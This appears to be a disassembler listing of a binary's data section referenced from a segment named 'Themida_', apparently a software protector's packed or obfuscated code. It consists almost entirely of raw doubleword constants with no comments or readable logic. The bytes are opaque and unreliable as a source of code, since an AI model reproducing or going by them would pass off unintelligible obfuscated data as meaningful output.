		dd 8, 0ADEF0D78h, 0DC014Ah, 80B6C08Bh, 0C6D0BF0Fh, 0E42C2D85h
		dd 8D895307h, 7E41AA1h,	395F9068h, 52006A99h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B5FF69C0h
		dd 7E4019Dh, 3BDC858Dh,	0FE907E4h, 86000000h, 0A7A37A30h
		dd 210CF12Fh, 0F8B6042h, 0D0FFF981h, 0EE8h
		db 0
byte_5B63BD	db 9Ch,	0B1h, 3Ah	; DATA XREF: Themida_:00582DBCo
		dd 992CA453h, 91106F11h, 0F6EB632h, 684h, 8A0F00h, 5F000000h
		dd 30618589h, 0BD8907E4h, 7E40931h, 2C2D85C6h, 8B5707E4h
		dd 520668D3h, 6A9004h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F5CA6AC3h, 0B5FFCB8Bh, 7E4019Dh
		dd 38E0Fh, 0B70F0000h, 0DC858DFBh, 907E43Bh, 0E42569B5h
		dd 89D0FF07h, 0E402459Dh, 4D858907h, 6A07E430h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 9749C351h, 0A4B251ABh, 0E7872F2Dh, 2C2D85C6h, 804307E4h
		dd 286866D2h, 6ABC9070h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 29CCC351h, 0B58D23CEh
		dd 0FF07E41Ch, 0E4019DB5h, 81665707h, 595A0FF2h, 3BDC858Dh
		dd 0D28107E4h, 0F3268D1h, 8589D0FFh, 7E40E6Dh, 7C19D09h
		dd 85C607E4h, 7E42C2Dh,	55006A4Ch, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 9A05965Fh, 669F8AEAh
		dd 0D40FD281h, 0F1CA8152h, 5F793650h, 0DA1CE968h, 0CE9D9h
		dd 0A7B00000h, 633D792h, 0D8DB3AE9h, 52601268h,	1C599501h
		dd 805A07E4h, 0FF61B2EEh, 0E4019DB5h, 0F98D8907h, 8D07E403h
		dd 0E43BDC85h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 8FD05366h, 66D3B22Dh
		dd 8F70CF81h, 8166D0FFh, 89F30EC2h, 0E41BD585h,	5DBD8B07h
		dd 0C607E435h, 0E42C2D85h, 0C5B94607h, 685BFC0Ah, 0BADE0614h
		dd 46DBC181h, 0B5FF1BB2h, 7E4019Dh, 13E9h, 0D7D90300h
		dd 0C4ED71A0h, 87906C25h, 9B5E077Eh, 259F8E94h,	3BDC858Dh
		dd 666007E4h, 0D080FB8Bh, 0D0FF614Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 74C35646h, 8B668B9Fh, 0CD8589D1h
		dd 0E907E415h, 10h, 0E6B5CE22h,	4569AD5Ch, 79AEF28Bh, 0C10299EFh
		dd 0E314DF81h, 85C63F36h, 7E42C2Dh, 50006A47h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 9D0160CAh
		dd 7E40345h, 218D8D8Bh,	806107E4h, 0E268CEF1h, 8B8A0FB5h
		dd 0E40FA9BDh, 9DB5FF07h, 6607E401h, 8B43D9BFh,	0E42A7995h
		dd 0DC858D07h, 0F07E43Bh, 58Fh,	0F2816600h, 0D0FF2ECFh
		dd 11E9h, 33580500h, 4540E111h,	94E482ECh, 216038C1h, 85898B4Eh
		dd 7E41B81h, 1505BD33h,	85C607E4h, 7E42C2Dh, 51006A47h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 608942C0h, 29CBBF0Fh, 0E432F5B5h, 81666107h,	68D210E1h
		dd 83D0B5F3h, 497C63B9h, 9DB5FF0Bh, 6A07E401h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0DAD7C352h, 93B9877Bh, 8D506C74h, 0E43BDC85h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 19DCC8C5h, 4DFEAFB7h, 8961B2BEh, 0E4231595h,	0E9D0FF07h
		dd 6, 595F011Fh, 8589C8B9h, 7E413ADh, 2D85C6FCh, 7707E42Ch
		dd 0B61958Bh, 0A36807E4h, 89F397A8h, 0E403A9BDh, 0E1B5FF07h
		dd 5307E41Dh, 35C4B966h, 0D18B6659h, 3BDC858Dh,	8D0B07E4h
		dd 7E40D7Dh, 0FC53D0FFh, 6985895Fh, 8B07E421h, 0E408A18Dh
		dd 2D85C607h, 4707E42Ch, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 39C35646h, 356D8D0Bh,	0BD8B07E4h, 7E425BDh
		dd 28FAF668h, 67EA8187h, 0FF21B1DBh, 0E4019DB5h, 6E907h
		dd 0E36D0000h, 0ED30559h, 3BDC858Dh, 6A07E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E9F833C3h
		dd 0Ch,	0F6B21B0Ah, 0BC3BA195h,	4A6DFECFh, 0C6B2D0FFh
		dd 12C58589h, 63B107E4h, 2C2D85C6h, 664307E4h, 0FC68C88Bh
		dd 66BC8E6Eh, 0FF104ABFh, 0E4019DB5h, 9E907h, 67CE0000h
		dd 79B86EC8h, 8D7A0381h, 0E43BDC85h, 0E99D8907h, 0FF07E431h
		dd 52006AD0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 89683938h, 0E41FD585h, 0DDBA6607h, 2D85C679h
		dd 4507E42Ch, 348F71BFh, 69696868h, 6A8E72h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0CCFB33C3h
		dd 0BE9h, 83FE8D00h, 7E37B9FEh,	0F6E2AD37h, 0FFD68B66h
		dd 0E4019DB5h, 0A1B96607h, 0DC858D8Ch, 8B07E43Bh, 0E4207D95h
		dd 0E9D0FF07h, 7, 91623F18h, 89A03ACCh,	0E4166585h, 0ABBF5707h
		dd 59695A17h, 2C2D85C6h, 0F4407E4h, 688h, 0A98D8B00h, 6807E418h
		dd 0B8F2EC64h, 0B5FF76B6h, 7E4019Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 40C35545h, 70E691DCh, 0BCC08025h
		dd 3D853160h, 6607E40Eh, 2AC4C381h, 0B18D2361h,	8D07E42Fh
		dd 0E43BDC85h, 43CA8107h, 0FF2C4574h, 850FD0h, 89000000h
		dd 0E4140585h, 0C6F98B07h, 0E42C2D85h, 0FA8B4307h, 764AA768h
		dd 0D5BD8BC0h, 0FF07E417h, 0E4019DB5h, 0F6BA6607h, 0DC858D30h
		dd 6A07E43Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 8599C350h, 6055C344h, 8E8h, 97331600h
		dd 786617E5h, 0ABB6626h, 0BA665F8Ah, 6661774Fh,	0D0FFCA8Bh
		dd 718589F5h, 8B07E409h, 0E418DD8Dh, 22BD8007h,	7E737h
		dd 0FA840Fh, 0BD8B0000h, 7E408EDh, 4858DF9h, 8007E737h
		dd 9E8A7D2h, 67000000h,	2AC73D6Eh, 61AA80EFh, 7BEF8166h
		dd 6A505973h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 48B2C356h, 0F0ABB8A0h,	0C9816650h
		dd 0BA5AA9DDh, 44D91D3h, 10E9016Ah, 88000000h, 819778Bh
		dd 1361A4B6h, 89EDB43Ch, 6A247C8Ah, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0C9BF0F88h
		dd 19FD8589h, 6A07E4h, 3D19D89h, 666007E4h, 0F380F88Bh
		dd 95FF61CBh, 7E40E6Dh,	18F1BD8Bh, 858907E4h, 7E40DA1h
		dd 23FF6AFCh, 0E42205BDh, 0B9665207h, 0FF5A3CB9h, 0E40DA1B5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0A5D95120h, 0D68B8D91h, 304D95FFh, 5E907E4h
		dd 6B000000h, 53FC66A3h, 958BC08Bh, 7E42415h, 13F1BD83h
		dd 750007E4h, 35BD8309h, 7E409h, 53501974h, 0D1B8C08Bh
		dd 89000007h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h
		dd 0E40935BDh, 17740007h, 0D1B85350h, 89000007h, 0E4147985h
		dd 0DF9D8D07h, 0FF07E6E6h, 6A585BD3h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D933C352h
		dd 2612AD67h, 5E9A6h, 0D2A70000h, 8B0F4C3Eh, 0E409ED8Dh
		dd 6E96007h, 95000000h,	10F34C42h, 958B6155h, 7E41859h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0E0191FC3h, 0FBE8F8Bh, 685h, 25B58900h, 0C607E404h
		dd 0E42C2D85h, 6A4707h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 1E0D21C3h, 7B0A076Ah, 0F7C16857h
		dd 8B6693C8h, 9DB5FFCEh, 0F07E401h, 858DCFBFh, 7E43BDCh
		dd 1B6AC9B9h, 66D0FF63h, 1AF2E981h, 5DBD8B50h, 6607E432h
		dd 8D8D91BFh
		dd 0E73B4585h, 85896007h, 7E43219h, 0E069BE66h,	9400C761h
		dd 89000000h, 0E429BD8Dh, 0BF0F5807h, 45B58DFFh, 6607E73Bh
		dd 0F856D68Bh, 8D29D0FFh, 7E4191Dh, 3B45858Dh, 10E907E7h
		dd 2D000000h, 0D17D79BCh, 58F73D5Eh, 0C604EB55h, 83864532h
		dd 0F060478h, 2285h, 8F0F6000h,	3, 29C7BF0Fh, 0E41809BDh
		dd 85C76107h, 7E73BD9h,	1, 0CF816657h, 835FCAF2h, 0E43345BDh
		dd 850F0007h, 62h, 1C158D0Bh, 12E907E4h, 32000000h, 3552EAh
		dd 766A5761h, 729E47AFh, 4AED4794h, 0D9BD8341h,	7E73Bh
		dd 38850Fh, 850F0000h, 4, 8927BF66h, 12699D89h,	0BD8307E4h
		dd 7E41465h, 1B840F00h,	66000000h, 85C7FE8Bh, 7E4231Dh
		dd 0
		dd 598D8960h, 8B07E423h, 0E413A99Dh, 8C666107h,	51006ADBh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 4A8ED918h, 661845A4h, 601FD981h, 0F04C3F6h, 56F84h
		dd 8D8B5600h, 7E40EF5h,	0C7D18B5Fh, 0E4201585h,	7, 5CC98100h
		dd 800D356Fh, 0E7372FBDh, 850F0007h, 5,	24CA8166h, 2D85C634h
		dd 4707E42Ch, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0D9C35040h, 0CA8B6617h,	0E45B8668h, 0F9BF0FE3h
		dd 19DB5FFh, 0C88B07E4h, 3BDC858Dh, 6A07E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0E8E306C3h
		dd 81D0FF46h, 95EEDAC7h, 1046862h, 0C88B0000h, 16BD9D8Dh
		dd 0BF6607E4h, 0E953C41Eh, 9, 626CAF55h, 62A688B0h, 0BD3153B2h
		dd 7E412C9h, 81D0FF5Ah,	453814C1h, 0BD858D4Fh, 8B07E416h
		dd 0E401A5BDh, 6A5007h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BF666BC3h, 10E867B5h, 9A000000h
		dd 0B151C820h, 715A9A55h, 404C8987h, 0B92FE6C6h, 2D68FD44h
		dd 0E1858D5Ah, 0F07E736h, 68Ch,	0C98D2B00h, 5007E42Dh
		dd 0BE9h, 7BC77400h, 608E0F72h,	0E3589527h, 2DB4858Dh
		dd 0B58907E7h, 7E4266Dh, 0B7B86050h, 0F0D5DB8h,	0FF61F7B7h
		dd 0E4216995h, 0BD035607h, 7E413D5h, 599D8959h,	8307E426h
		dd 6A0CC4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8BE788C3h, 0E41C158Dh, 0D2B70F07h, 8068006Ah
		dd 6A000000h, 6A006A03h, 6800h,	858D8000h, 7E72DB4h, 0D595FF50h
		dd 8907E41Fh, 0E736C485h, 2D85C607h, 4707E42Ch,	0B15E8768h
		dd 9DB5FFC7h, 8D07E401h, 0E43BDC85h, 6AD0FF07h,	0C4B5FF00h
		dd 0FF07E736h, 998D8BD0h, 8907E406h, 0E40FA18Dh, 37D03D07h
		dd 830F0000h, 2Dh, 0FFFB8B66h, 0E736C4B5h, 0FEB70F07h
		dd 97195FFh, 8B6607E4h,	6E9D7h,	0B64B0000h, 2E1CE195h
		dd 13DE9h, 8B92B600h, 0E4147595h, 0C4B5FF07h, 6A07E736h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FD3C356h, 386h, 0FABF0F00h, 97195FFh, 6E807E4h
		dd 0E3000000h, 0DD1EF6ADh, 5EEE80F5h, 6A006A59h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 7262C356h, 0E58D8B70h, 6A07E417h, 0AE800h, 66140000h
		dd 0D5470CEFh, 54019261h, 68A0Fh, 9D890000h, 7E40211h
		dd 0F8006A5Fh, 6A006Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0FD409C3h, 43B70D30h, 95B589E9h
		dd 6A07E421h, 8E900h, 22CD0000h, 0B578AB60h, 6AC460h, 39506ABAh
		dd 0C8858D04h, 8007E736h, 858968F6h, 7E41E59h, 50006A50h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A257249h, 0E84B2491h, 12h, 137EFBF5h, 680CE233h, 599DDD76h
		dd 6ACF886Fh, 8529BF9Eh, 7E406ADh, 0D595FF59h, 0F07E41Fh
		dd 581h, 0B7C1BA00h, 0F88353E9h, 11850FFFh, 66000001h
		dd 858DFE8Bh, 7E6ED6Ch,	0FE8h, 0AA554100h, 84973CE4h, 73DBB3ECh
		dd 13E23823h, 5FF08A56h, 5E859h, 0BDB20000h, 8B3013B5h
		dd 0E4222195h, 0D0FF5907h, 6630E580h, 0D367D181h, 0B966006Ah
		dd 6A1154h, 0BD895360h,	7E41495h, 6A615Fh, 1890Fh, 6AF80000h
		dd 118D8900h, 6A07E430h, 0FE800h, 0F7F20000h, 0F0B7C4C7h
		dd 1126971Eh, 0A9DF33DEh, 5A98B6B8h, 8B66006Ah,	0C8858DC8h
		dd 8B07E736h, 0E41C858Dh, 0E1815007h, 37EB1F7Ch, 1FD595FFh
		dd 9BB207E4h, 0FFFF883h, 6F85h,	0DE900h, 85710000h, 9A02882Ch
		dd 7D4192A1h, 8D4F6EA9h, 0E730D0B5h, 0FEA0BA07h, 4DBF2ECDh
		dd 8D3CBF7Dh, 0E6DBD685h, 0F98B6607h, 9E9D0FFh,	7D000000h
		dd 2672300Eh, 8C105486h, 0EE8006Ah, 7A000000h, 0D3C22402h
		dd 2A0018DDh, 5827ED12h, 59D08BE5h, 166595FFh, 0BD0B07E4h
		dd 7E421BDh, 8D896057h,	7E42155h, 0E5BD89h, 5F6107E4h
		dd 36C48589h, 8D8B07E7h, 7E42ED9h, 1919589h, 6A07E4h, 8D10C180h
		dd 0E736BC85h, 5089B207h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 2CC35545h, 0BE4AA8DFh, 11E8h,	84E9E800h
		dd 1F32304Eh, 20751368h, 0D8E53E9Dh, 0DE80B142h, 46A59C3h
		dd 68A0Fh, 0B5890000h, 7E400FDh, 2D39858Dh, 6A07E4h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 42D399C3h, 8C7AABAAh, 0A358D0Bh, 0BD0307E4h,	7E40B15h
		dd 10E950h, 0B160000h, 5D777FE4h, 3C2F7CC3h, 1A681030h
		dd 6A56C0h, 6AD1B70Fh, 9E900h, 0AE910000h, 2DEBFC5Eh, 6A26A59Ch
		dd 55006A01h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0B562FBF9h, 958B1F62h, 7E41B19h,	0FFD08B66h
		dd 0E736C4B5h, 8C0F6007h, 6, 890Fh, 52B20000h, 595FF61h
		dd 8907E414h, 0E4244D85h, 1B6AE907h, 0CF810000h, 5A8F6B45h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0B83BADC3h, 0B589EB3Ch, 7E418C5h,	13F1BD83h
		dd 750007E4h, 35BD8309h, 7E409h, 53501974h, 0D2B8C08Bh
		dd 89000007h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h
		dd 0E40935BDh, 17740007h, 0D2B85350h, 89000007h, 0E4147985h
		dd 0DF9D8D07h, 0FF07E6E6h, 52585BD3h, 1CFD8589h, 665907E4h
		dd 16B2F181h, 0C08BFE8Bh, 201585C7h, 107E4h, 0B70F0000h
		dd 0E7B868C8h, 0B5FFCEE4h, 7E40DE1h, 3BDC858Dh,	0D0FF07E4h
		dd 23058589h, 858D07E4h, 7E73920h, 0DD858D50h, 5007E73Bh
		dd 168h, 595FF80h, 0B07E423h, 0C70A75C0h, 0E4026185h, 107h
		dd 0DBD46800h, 0B5FFC005h, 7E40DE1h, 3BDC858Dh,	0D0FF07E4h
		dd 1F98589h, 858D07E4h,	7E72B6Dh, 9DB5FF50h, 0FF07E401h
		dd 0E41B8195h, 74C00B07h, 8DD88B0Bh, 0E73B2085h, 0D3FF5007h
		dd 3B20858Dh, 836607E7h, 0A750938h, 2BFD85C7h, 107E4h
		dd 95FF0000h, 7E412C5h,	0FF25h,	5F88300h, 85C70A73h, 7E40101h
		dd 1, 5E59D29h,	816607E4h, 80964BC7h, 0BD80D0C1h, 7E7372Fh
		dd 3A840F00h, 33000000h, 0E401198Dh, 5D958907h,	8307E425h
		dd 0E73BD9BDh, 840F0007h, 2Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 51C35141h, 8B165F58h, 19CEE9F9h
		dd 0B5890000h, 7E414E9h, 2BFDBD83h, 0F0007E4h, 0E385h
		dd 0FE8B6600h, 36F9858Dh, 6A07E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 788B1BC3h, 685C3395h
		dd 2EB950A6h, 0B200DAEFh, 0B6016A79h, 66006A5Fh, 35C8DF81h
		dd 3860Fh, 0C6800000h, 6A006A1Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F7C355h
		dd 20998D8Bh, 95FF07E4h, 7E40E6Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0EDC35040h,	0C35E3F64h, 0B39C177h
		dd 0E40455BDh, 81EF8107h, 8916AE47h, 0E7372385h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 6A17E035h, 15BD8BFFh, 0FF07E40Bh, 0E73723B5h
		dd 41BD8B07h, 0FF07E422h, 0E4304D95h, 2EF18007h, 2B34858Dh
		dd 0BA6607E7h, 0ECB566F0h, 7DBD8B50h, 0FF07E415h, 0E41BD595h
		dd 0A8BF6607h, 0BE858916h, 8907E72Bh, 0E42AF9B5h, 41858D07h
		dd 8A07E72Bh, 0FFFC50F1h, 0E72BBEB5h, 8195FF07h, 0F07E41Bh
		dd 58Ah, 0D7816600h, 85899182h,	7E4230Dh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 76C35040h, 6695A952h
		dd 0F935F781h, 0FE9h, 84A2E000h, 48703389h, 818263CEh
		dd 22255AF6h, 2BAF858Dh, 8E907E7h, 42000000h, 0EFC0495Ah
		dd 501B3BC6h, 8E9h, 7C9FCF00h, 39789F6Bh, 28E0F28h, 0B2000000h
		dd 0BEB5FF26h, 8907E72Bh, 0E4041195h, 0D0B70F07h, 1B8195FFh
		dd 8C0F07E4h, 3, 8BC8B70Fh, 0E40A758Dh,	0D2858907h, 6A07E72Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0D531C353h, 9A17492Bh, 8DF615A4h,	0E72B8E85h
		dd 958B5007h, 7E42139h,	0E758D8Bh, 0B5FF07E4h, 7E72BBEh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C7C35545h
		dd 0B589FB67h, 7E429DDh, 1B8195FFh, 870F07E4h, 18h, 13E9h
		dd 420B0400h, 0E29EB7B2h, 0EC583849h, 3295A127h, 9082A072h
		dd 2BCA8589h, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0DD4E9BC3h, 0E57DE5E5h, 8DCBB70Fh
		dd 0E72B8185h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 36AB86B7h, 458D8966h
		dd 5007E405h, 0B5D98166h, 0BEB5FF52h, 6A07E72Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 9F76C351h, 158139Dh,	0FEA1BA2h, 95FFCFBFh, 7E41B81h
		dd 7AC5B966h, 0C1958B57h, 5A07E407h, 2BCE8589h,	0BD8B07E7h
		dd 7E42449h, 2B9C858Dh,	6A07E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 958B66C3h, 7E41639h
		dd 0CE8B6650h, 2BBEB5FFh, 8F0F07E7h, 4,	1CECBA66h, 0A35B589h
		dd 95FF07E4h, 7E41B81h,	89D0BF0Fh, 0E4192185h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 342F44A1h, 785ED287h, 198D896Eh, 8D07E426h, 0E72B5085h
		dd 1958B07h, 5007E414h,	23959589h, 8E907E4h, 46000000h
		dd 0E5B5F7F0h, 0FFB31A0Dh, 0E72BBEB5h, 0BAD7B207h, 2DE41F89h
		dd 1B8195FFh, 860F07E4h, 8, 0FD850950h,	5A07E419h, 2BC28589h
		dd 0F78107E7h, 0F2C295Dh, 2B5F858Dh, 958907E7h,	7E408CDh
		dd 0FF9CB650h, 0E72BBEB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0E626D2BFh
		dd 60C3E38Fh, 8FE88166h, 0CE8D4h, 89E90000h, 832C86AEh
		dd 9DF9ED24h, 8D89C81Dh, 7E42B49h, 95FF615Fh, 7E41B81h
		dd 8D952952h, 5A07E421h, 2BC68589h, 0CE807E7h, 0B7000000h
		dd 0F1932ECDh, 604F5CA8h, 89A2D59Eh, 0E426E5B5h, 4685907h
		dd 0E9000001h, 0Ah, 4F525438h, 3EB2F386h, 858D9B2Ch, 7E72C56h
		dd 0FB8B6653h, 9589505Ah, 7E430BDh, 2D5A858Dh, 0B15707E7h
		dd 6A5059ADh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 5A90C351h, 2F27FAFFh, 0FFF88B66h
		dd 0E413AD95h, 0FFB70F07h, 850FC085h, 4, 9CF6BF66h, 372FBD80h
		dd 0F0007E7h, 1685h, 99D0900h, 0E907E414h, 1504h, 18D9B589h
		dd 7BF07E4h, 83543D2Dh,	0E42BFDBDh, 850F0007h, 1Ch, 1981958Bh
		dd 0BD8307E4h, 7E73BD9h, 28840F00h, 9000000h, 0E4234195h
		dd 5FF85307h, 2BF3858Dh, 8B6607E7h, 14C2E9FEh, 85890000h
		dd 7E42EE1h, 0CE9h, 5D958B00h, 8D07E40Ah, 0E72BDE85h, 0BD315007h
		dd 7E424F9h, 2C56858Dh,	0EE907E7h, 0F000000h, 0D1FBC6AFh
		dd 0C3C2342Ch, 835C3CFBh, 9D895094h, 7E40B89h, 2C39958Bh
		dd 0BD8307E4h, 7E42BFDh, 67840F00h, 0E8000000h,	8, 2AAAFB01h
		dd 0C0341AF4h, 0CBE2F181h, 8D596C92h, 0E72D7C85h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0BD29F9D3h, 7E40D65h, 39E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0B4205619h
		dd 0EDA0C361h, 858DCFFDh, 7E72D65h, 8860Fh, 8D0F0000h
		dd 2, 33506160h, 0E40DE5BDh, 0B4858D07h, 8907E72Dh, 0E4017985h
		dd 519D0107h, 5007E418h, 28F0Fh, 0D38A0000h, 216995FFh
		dd 83F907E4h, 6A10C4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 212EABC3h, 0DF1958Bh, 8BF907E4h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 31F57FD6h, 0E4232DBDh, 0F1BD8307h, 7E413h
		dd 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h,	7D3h, 14798589h
		dd 9D8D07E4h, 7E6E9F0h,	585BD3FFh, 935BD83h, 740007E4h
		dd 0B8535017h, 7D3h, 14798589h,	9D8D07E4h, 7E6E6DFh, 585BD3FFh
		dd 3B1208BFh, 82D98072h, 8B5FCA80h, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0A10E7C14h
		dd 8166813Eh, 81656BD2h, 0E72BDEBDh, 65726F07h,	90840F61h
		dd 0F000000h, 0BF0FF9B7h, 56858DF9h, 5007E72Ch,	2D93858Dh
		dd 8D5007E7h, 0E72DB485h, 95FF5007h, 7E42169h, 0C60CC483h
		dd 0E42C2D85h, 4F684407h, 0FF96A318h, 0E4019DB5h, 0DC858D07h
		dd 0FF07E43Bh, 8DD88BD0h, 0E72DB485h, 0D3FF5007h, 2BDE858Dh
		dd 8D5007E7h, 0E72C5685h, 0BD835007h, 7E42BFDh,	8D087400h
		dd 0E72D7C85h, 8D06EB07h, 0E72D6585h, 858D5007h, 7E72DB4h
		dd 6995FF50h, 8307E421h, 840F10C4h, 5, 0B8E28166h, 0F1BD29CCh
		dd 0FF07E414h, 0E412C595h, 9CF18107h, 2570AE21h, 0FFh
		dd 42D8D8Bh, 0F88307E4h, 57830F05h, 3000000h, 0E4094DBDh
		dd 185C707h, 107E401h, 8D000000h, 0E72C1285h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 1D1BCB85h, 0DD9BADA6h, 0AE9D0h, 67260000h, 737D13D0h
		dd 87A9F9Dh, 70E9h, 55EF8100h, 0F061152h, 0BD83D7B7h, 7E42BFDh
		dd 43840F00h, 0F000000h, 58Bh, 0B70F5700h, 858D59F9h, 7E72C3Dh
		dd 0E119D89h, 0BD2B07E4h, 7E4153Dh, 38E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 6657D411h, 858DD08Bh, 7E72C1Fh, 0CE9h, 31DD8200h, 3E49F038h
		dd 289608F9h, 52858979h, 6A07E72Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 5BB5C350h
		dd 83D68B66h, 0E42BFDBDh, 850F0007h, 42h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 78C35747h, 0F415B268h
		dd 8B6694FFh, 8E9FEh, 0A74A0000h, 4D3C1A6Ch, 0BD830724h
		dd 7E73BD9h, 0E840F00h
		dd 0F000000h, 9E9CFB7h,	89000011h, 0E4328D85h, 441E907h
		dd 49B20000h, 0BA66C08Bh, 0DA81104Eh, 0A1CD5F4h, 13F1BD83h
		dd 750007E4h, 35BD8309h, 7E409h, 53501974h, 0D4B8C08Bh
		dd 89000007h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h
		dd 0E40935BDh, 17740007h, 0D4B85350h, 89000007h, 0E4147985h
		dd 0DF9D8D07h, 0FF07E6E6h, 81585BD3h, 9EC76DD7h, 0C88B663Fh
		dd 8B53C08Bh, 3F6859D7h, 6A000F00h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0E6D4C351h
		dd 0CFA7831Dh, 0E93CCCB3h, 0Fh,	0F756F6D5h, 1332DC4Bh
		dd 7FB3D0C7h, 89DB1E4Ch, 0E42B71BDh, 0B5006A07h, 89006ABCh
		dd 0E40A859Dh, 0D95FF07h, 6A07E423h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F82BC352h
		dd 850FC085h, 11h, 5820Fh, 81660000h, 23EEA5F2h, 0E430658Dh
		dd 0D6858907h, 6607E72Bh, 0FC3991BAh, 9589006Ah, 7E42A39h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 241E3FC3h, 0C364B19Eh, 58E0Fh, 81660000h
		dd 6A63A0D7h, 0CA8B6600h, 0BD09006Ah, 7E40B3Dh,	6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0F3FD09C3h, 0BA664F53h, 858D0585h, 7E72DB4h,	19399D89h
		dd 0E95007E4h, 5, 7A9A75ADh, 0E8016AC5h, 0Ah, 0DC9887CAh
